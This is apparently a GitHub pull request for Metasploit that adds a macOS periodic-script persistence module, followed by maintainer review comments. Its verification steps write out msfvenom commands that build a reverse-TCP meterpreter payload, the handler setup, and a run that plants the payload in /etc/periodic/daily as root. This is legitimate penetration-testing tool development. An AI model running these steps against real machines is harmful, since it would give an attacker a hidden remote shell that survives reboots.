Skip to content

Add OSX Periodic Script Peristence #19903

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 7 commits into
base: master
Choose a base branch
from

Conversation

gardnerapp
Copy link
Contributor

This PR implements OSX persistence via Periodic Scripts, a concept similar to Cron jobs.

Verification

  1. create a payload, this example tests on Apple Silicon
12:49:00 ~ $ metasploit-framework/msfvenom -p osx/aarch64/meterpreter_reverse_tcp LHOST=192.168.0.239 LPORT=4444 -o payload -f macho
Calling `DidYouMean::SPELL_CHECKERS.merge!(error_name => spell_checker)' has been deprecated. Please call `DidYouMean.correct_error(error_name, spell_checker)' instead.
[-] No platform was selected, choosing Msf::Module::Platform::OSX from the payload
[-] No arch selected, selecting arch: aarch64 from the payload
No encoder specified, outputting raw payload
Payload size: 813091 bytes
Final size of macho file: 813091 bytes
Saved as: payload
12:49:17 ~ $ chmod +x payload
12:50:50 ~ $ ./payload 
  1. Start a handler
msf6 exploit(multi/handler) > set payload osx/aarch64/meterpreter_reverse_tcp 
payload => osx/aarch64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.0.239
lhost => 192.168.0.239
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.0.239:4444 
  1. Run the payload. As writing to /etc/periodic/* requires root privileges we will run the executable with sudo
$ chmod +x ./payload && sudo ./payload
  1. Run the exploit. Because we're testing on OSX Silicon we set the target to 2
meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/osx/local/periodic_script_persistence 
[*] No payload configured, defaulting to osx/x64/meterpreter/reverse_tcp
msf6 exploit(osx/local/periodic_script_persistence) > set target 2
target => 2
msf6 exploit(osx/local/periodic_script_persistence) > set session 1
session => 1
msf6 exploit(osx/local/periodic_script_persistence) > set lport 6666
lport => 6666
msf6 exploit(osx/local/periodic_script_persistence) > set payload osx/aarch64/meterpreter_reverse_tcp
payload => osx/aarch64/meterpreter_reverse_tcp
msf6 exploit(osx/local/periodic_script_persistence) > run

[*] Started reverse TCP handler on 192.168.0.239:6666 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] /etc/periodic is writable
[+] The target is vulnerable.
[+] Writing payload to /tmp/q0Y1M6djZ suceeded
[*] Succesfully wrote periodic script to /etc/periodic/daily/JPk5z2s. This will execute /tmp/q0Y1M6djZ
Cleanup script:

sudo rm /tmp/q0Y1M6djZ /etc/periodic/daily/JPk5z2s

In another terminal:

13:32:54 ~ $ ls -la /etc/periodic/daily/JPk5z2s
-rwxr-xr-x  1 root  wheel  14 Feb 24 14:08 /etc/periodic/daily/JPk5z2s
14:08:39 ~ $ ls -la /tmp/q0Y1M6djZ 
-rwxr-xr-x  1 root  wheel  813091 Feb 24 14:08 /tmp/q0Y1M6djZ

Knock Knock Scan
Screenshot 2025-02-24 at 2 10 33 PM

LuLu catching the payload executing
Screenshot 2025-02-24 at 2 11 37 PM

Due to #19839 we may need to change the location of the file and carry out other minor refactoring. This module should also work for BSD and other operating systems using /etc/periodic but I have not tested on these.

@gardnerapp gardnerapp mentioned this pull request Feb 24, 2025
4 tasks
@h00die
Copy link
Contributor

h00die commented Feb 24, 2025

This is great, thanks for adding more persistence mechanisms!

My suggestion: wait.

There are a LOT of breaking changes introduced in #19815 and you'll need to recode a bunch of this. Because of that, you'll have to rebase after that other PR lands, so I'd just hold tight until @dledda-r7 has some time to finish up and land. Once that PR lands, then there are already 2 other PRs that will need to be rebased and updated, then landed, and yours is 3rd in line.

I'll start a non-persistence-overhaul review, but then just hang on for a bit. I promise we won't forget about this!

Copy link

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

@h00die
Copy link
Contributor

h00die commented Feb 24, 2025

you may want to cleanup the git log here as well, I think 1 commit should be sufficient to get it to this phase.

@adfoster-r7 adfoster-r7 added the blocked Blocked by one or more additional tasks label Feb 27, 2025
@adfoster-r7
Copy link
Contributor

Temporarily blocked by #19815

def exploit
@cleanup = "sudo "
if target['Arch'] == ARCH_PYTHON
payload_bin = "#!/usr/bin/env python\n" + payload.encoded
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Should this be updated to detect the different python2/python3 binary names:

$ python --version
pyenv: python: command not found

sh-3.2$ python3 --version
Python 3.13.2

The payload adapters support this functionality directly, so we should be able to drop python payload and use the cmd adapters instead 👀

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Not sure what I should change for this.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Here, there should be probably detection for Python version - in the very simple case, calling python --version and differentiate which Python version to use

@msutovsky-r7 msutovsky-r7 self-assigned this Apr 8, 2025
@msutovsky-r7 msutovsky-r7 removed the blocked Blocked by one or more additional tasks label Apr 8, 2025
@msutovsky-r7
Copy link
Contributor

Hi @gardnerapp , the PR shouldn't be blocked anymore, so just to give you heads-up. There's still some changes required for this PR, so you can go ahead with them and we'll review it/land it as soon as possible!

@gardnerapp gardnerapp force-pushed the osx-periodic-persist branch from b789581 to c08790c Compare April 20, 2025 19:54
@gardnerapp
Copy link
Contributor Author

Other operating systems like BSD support periodic scripts with the same /etc/periodicdirectory and this module will probably work on such systems. Maybe this module belongs in the modules/exploits/multi/persistence directory and we can add description details that it would work on OSX and the BSD families. I've also just learned that Alpine has a /etc/periodic/15min directory: Alpine Periodic Scripts.

@msutovsky-r7
Copy link
Contributor

Other operating systems like BSD support periodic scripts with the same /etc/periodicdirectory and this module will probably work on such systems. Maybe this module belongs in the modules/exploits/multi/persistence directory and we can add description details that it would work on OSX and the BSD families. I've also just learned that Alpine has a /etc/periodic/15min directory: Alpine Periodic Scripts.

Yep, that makes sense, it should be probably under multi category.

@msutovsky-r7
Copy link
Contributor

Hi @gardnerapp, just checking in! There are some comments that have been not addressed, so I wanted to reach out and check if you would need any help/assistance. We would love to have this module, so let me know if I can be of assistance.

@gardnerapp
Copy link
Contributor Author

Hi @gardnerapp, just checking in! There are some comments that have been not addressed, so I wanted to reach out and check if you would need any help/assistance. We would love to have this module, so let me know if I can be of assistance.

just added default arch_cmd. Not sure where to go with target adapters. Lastly, we discussed moving this over to the multi category. Is the persistence directory ready or is this still blocked by #19815 ? Thanks for getting back!

@msutovsky-r7
Copy link
Contributor

Hi @gardnerapp, just checking in! There are some comments that have been not addressed, so I wanted to reach out and check if you would need any help/assistance. We would love to have this module, so let me know if I can be of assistance.

just added default arch_cmd. Not sure where to go with target adapters. Lastly, we discussed moving this over to the multi category. Is the persistence directory ready or is this still blocked by #19815 ? Thanks for getting back!

The PR is not blocked by persistence directory, we're moving this forward. I would go with moving this module into multi category and adjust the code according to that

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

5 participants